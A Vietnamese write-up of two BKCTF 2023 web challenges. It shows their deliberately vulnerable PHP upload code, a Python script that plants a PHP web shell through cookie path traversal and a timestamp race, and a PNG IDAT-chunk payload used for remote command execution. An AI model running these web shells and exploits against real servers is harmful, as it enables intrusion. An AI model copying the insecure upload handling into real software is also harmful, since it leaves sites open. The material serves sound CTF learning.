---
# System prepended metadata

title: BKCTF 2023 WRITE UP
tags: [CTF, Writeup]

---

# 1. Metadata checker
![](https://hackmd.io/_uploads/Hk6U6Lkah.png)
## Đề bài:
![](https://hackmd.io/_uploads/HywJRU16n.png)
- Challenge có cho mình cả source code nữa, đáng chú ý là phần index.php cho ta biết cách xử lý ảnh chèn vào:
```php!=
<?php
error_reporting(0);

setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days

if (isset($_FILES) && !empty($_FILES)) {
    $uploadpath = "/var/tmp/";
    $error = "";
    
    $timestamp = time();

    $userValue = $_COOKIE['user'];
    $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];

    move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);

    if ($_FILES["image"]["size"] > 1048576) {
        $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
    } elseif ($_FILES["image"]["type"] !== "image/jpeg") {
        $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
    } else {
      $exif = exif_read_data($target_file, 0, true);

      if ($exif === false) {
          $error .= '<p class="h5 text-danger">No metadata found.</p>';
      } else {
          $metadata = '<table class="table table-striped">';
          foreach ($exif as $key => $section) {
              $metadata .=
                  '<thead><tr><th colspan="2" class="text-center">' .
                  $key .
                  "</th></tr></thead><tbody>";
              foreach ($section as $name => $value) {
                  $metadata .=
                      "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
              }
              $metadata .= "</tbody>";
          }
          $metadata .= "</table>";
      }
    }
}
?>
<!DOCTYPE html>
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
<html lang="en" data-bs-theme="auto">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>BKSEC Metadata checker</title>
  <link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
  <link href="assets/dist/css/checkout.css" rel="stylesheet">
  <link rel="icon" href="assets/images/logo.png" type="image/png">
</head>

<body class="bg-body-tertiary">

  <div class="container">
    <main>
      <div class="py-5 text-center">
        <a href="/"><img class="d-block mx-auto mb-4"  src="assets/images/logo.png" alt="" width="72"></a>
        <h2>BKSEC Metadata checker</h2>
        <p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
      </div>
      <form action="/index.php" method="post" enctype="multipart/form-data">
        <label class="h5 form-label">Upload your image</label>
        <input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
        <div class="col text-center">
            <button class="btn btn-primary btn-lg" type="submit">Upload</button>
        </div>
      </form>
	    <?php
        // I want to show a loading effect within 1.5s here but don't know how
        sleep(1.5);
        // This might be okay..... I think so
        // My teammates will help me fix it later, I hope they don't forget that
        echo $error;
        echo $metadata;
        unlink($target_file);
        ?>
    </main>

    <footer class="my-5 pt-5 text-body-secondary text-center text-small">
      <p class="mb-1">&copy; 2023 CLB An Toàn Thông Tin - BKHN</p>
    </footer>
  </div>
  <script src="assets/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
```
- Challenge là một trang web dùng để upload ảnh lên, sau đó sẽ hiện ra thông tin(metadata) của ảnh đó
## Phương hướng thực hiện:
- Đầu tiên ta sẽ để ý việc trang web sẽ chỉ check type của file ta upload, nên ta có thể bypass bằng cách chỉnh `Content-Type`:
- Tiếp đến có một phần rất sus là tên file được upload lên, với công thức là:
```php!=
$uploadpath = "/var/tmp/";
$timestamp = time();
$userValue = $_COOKIE['user'];
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
```
- Phần cookie ta có thể control được, tên file được nối từ thư mục upload, giá trị cookie của user, giá trị timestamp, và cuối cùng là tên file của chúng ta. Kết hợp với việc em đã thử rất nhiều thì em thấy chỉ có thể trỏ đến `/index.php`, còn lại sẽ 404 hết, nên em đã nghĩ đến việc path traversal ở phần cookie, đưa nó vào nơi có thể lấy được như là `/var/www/html/`:
![](https://hackmd.io/_uploads/B12ESvC2h.png)
- Cụ thể trong trường hợp trên file name của em sẽ là: `/var/tmp/../../../../../../var/www/html/_timestamp_shell.php`, khi đó em chỉ cần GET được nó là em sẽ có flag
- Vấn đề giờ là làm cách nào để có thể lấy được giá trị của timestamp này đây, sau đó em đã đi hỏi và được các anh chỉ dần script:
```python!=
import requests
import time

PROXY = {
  "http":"http://127.0.0.1:8080",
  "https":"http://127.0.0.1:8080"
}

url = "http://13.212.34.169:32189"

filename = "clgt.php"

uploadfolders = ["var/www/html/"]

for uploadfolder in uploadfolders:
  timestamp = str(int(time.time())-2)
  try:
    req = requests.post(
      url=url + "/index.php",
      proxies=PROXY,
      files={
          "image": (filename, "<?php system($_GET['c'])?>", 'image/jpeg'),
      },
      cookies={
        "user": "../../../../../../" + uploadfolder
      },
      timeout=0.5
      )
  except Exception as e:
    print(e)

  req1 = requests.get(
    url = url + "/_" + timestamp + "_" + filename + "?c=cat /flag.txt",
    proxies = PROXY 
  )

  if req1.status_code == 200:
    print(uploadfolder)
```
- Script sẽ thực hiện RCE, sau đó hiện lại kết quả ở Burp với proxy `127.0.0.1:8080`, script tự POST lên file shell.php đồng thời lấy nó với giá trị timestamp tự gen ra(sẽ có sự chênh lệch)
- Ở những lần thử đầu em nhận thấy giá trị timestamp của em lâu hơn 2s so với server, nên em đã chỉnh giá trị thời gian đó -2:
![](https://hackmd.io/_uploads/B1P2XPJph.png)
- `1692523341` và `1692523343`, mình bị trễ 2s, nhưng sau đó khi chỉnh lại script thì ta có kết quả:
![](https://hackmd.io/_uploads/ryf0n8J63.png)
- Flag: **BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_7f5c771924ece71e0150bc95bc0b9f4c}**

# 2. Image Copy Resampled
![](https://hackmd.io/_uploads/H1y9uvkp3.png)
## Đề bài
- Challenge là một trang web có tính năng upload ảnh, sau đó nó sẽ đưa chất lượng ảnh xuống 40x40px:
![](https://hackmd.io/_uploads/rJwOaD1a3.png)
- Ta cũng được cung cấp source của challenge:
```php!=
<?php

if(isset($_FILES['image'])){
    
    
    $upload_dir = "./uploads/";
    $file_name = $_FILES['image']['name'];
    $file_tmp = $_FILES['image']['tmp_name'];
    $file_type = $_FILES['image']['type'];
    $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
    $size_check = getimagesize($file_tmp);

    $allowed_ext = array('jpg', 'png', 'php');

    
    if(in_array($file_ext, $allowed_ext)){

        $image = imagecreatefromstring(file_get_contents($file_tmp));
        $cropped_image = imagecreatetruecolor(40, 40);
        imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
        $random_name = md5(uniqid(rand(), true));
        $new_file_name = $random_name . '.' . $file_ext;
        
        if ($file_ext === 'jpg' || $file_ext === 'png'  ) {
            //check size
            if ($size_check[0] < 40 || $size_check[1] < 40) { 
                echo "Ảnh của bạn hơi nhỏ. Chúng tôi cần ảnh lớn hơn 40x40 pixels\n<br>";
            } else {
                if($file_ext === 'jpg'){
                    imagejpeg($cropped_image, $upload_dir . $new_file_name);
                } else {
                    imagepng($cropped_image, $upload_dir . $new_file_name);
                }
                echo "ảnh đã được lưu tại đây\n<br>";
                echo $upload_dir;
                echo $new_file_name;  

                imagedestroy($image);
                imagedestroy($cropped_image);
            }
        } else {
            imagepng($cropped_image, $upload_dir . $new_file_name);
            echo "ảnh đã được lưu tại đây\n<br>";
            echo $upload_dir;
            echo $new_file_name;  

            imagedestroy($image);
            imagedestroy($cropped_image);
        }
    } else {        
        echo "Chỉ cho phép tải lên tệp JPG hoặc PNG và pHp ;D ? ? ?";
    }
}
?>
<!-- HTML Form để tải lên tệp -->
<h3>upload file ảnh miễn phí nhưng tôi sẽ nén chất lượng của bạn xuống 40px</h3>
<form action="" method="POST" enctype="multipart/form-data">
    <input type="file" name="image">
    <input type="submit" value="Tải Lên">
</form>
```
## Phương hướng thực hiện:
- Đầu tiên khi đọc ta sẽ thấy rất bất ngờ vì trang web cho phép upload file .php (ngolll), nhưng khi em gửi file php lên thì đời nó không như là mơ:
![](https://hackmd.io/_uploads/S1dXRvk6h.png)
- Tuy đã gửi thành công, nhưng khi forward đến thì nội dung của trang web không hề bú:
![](https://hackmd.io/_uploads/rJS30v16n.png)
- Vì hàm imagepng đã xổ ra kết quả là file PNG nên em đã không hiện ra được kết quả như mình mong muốn, giờ phương hướng còn lại là gửi ảnh và comment script vào đó, nhưng ta gặp một vấn đề là khi rút ảnh nội dung cũng sẽ bị cắt bỏ, em đã thử và cũng không bú
- Sau khi giải kết thúc thì em đã được hint là sử dụng tool [PNG-IDAT-Payload-Generator](https://github.com/huntergregal/PNG-IDAT-Payload-Generator) để chèn payload vào trong ảnh mà khi bị cắt ta không bị mất nội dung:
![](https://hackmd.io/_uploads/Hk20nDk6n.png)
- Sử dụng tool, ta có ảnh test.php.png có chứa sẵn payload: `<?=$_GET[0]($_POST[1]);?>`, em sẽ bỏ đuôi png sau đó gửi lên server:
![](https://hackmd.io/_uploads/r1jlaP1Th.png)
- Tiến hành RCE trang web với việc gửi lên biến `0` trên URL là **system**, và `1` ở phần body là câu lệnh em muốn viết, dựa vào đề bài bảo flag ở thư mục root, em tiến hành thực thi `system("ls /")`:
![](https://hackmd.io/_uploads/H1RpnDJT3.png)
- File flag đã có, giờ em chỉ cần đổi giá trị của tham số 1 ở body: `cat /flagjY3x0.txt` là ta đã có flag:
![](https://hackmd.io/_uploads/BkOzaDkT3.png)
- Flag: **BKSEC{Php_Gd_iDa7_cHunk_1e81f5c3a23abccf25a30314be345c72}**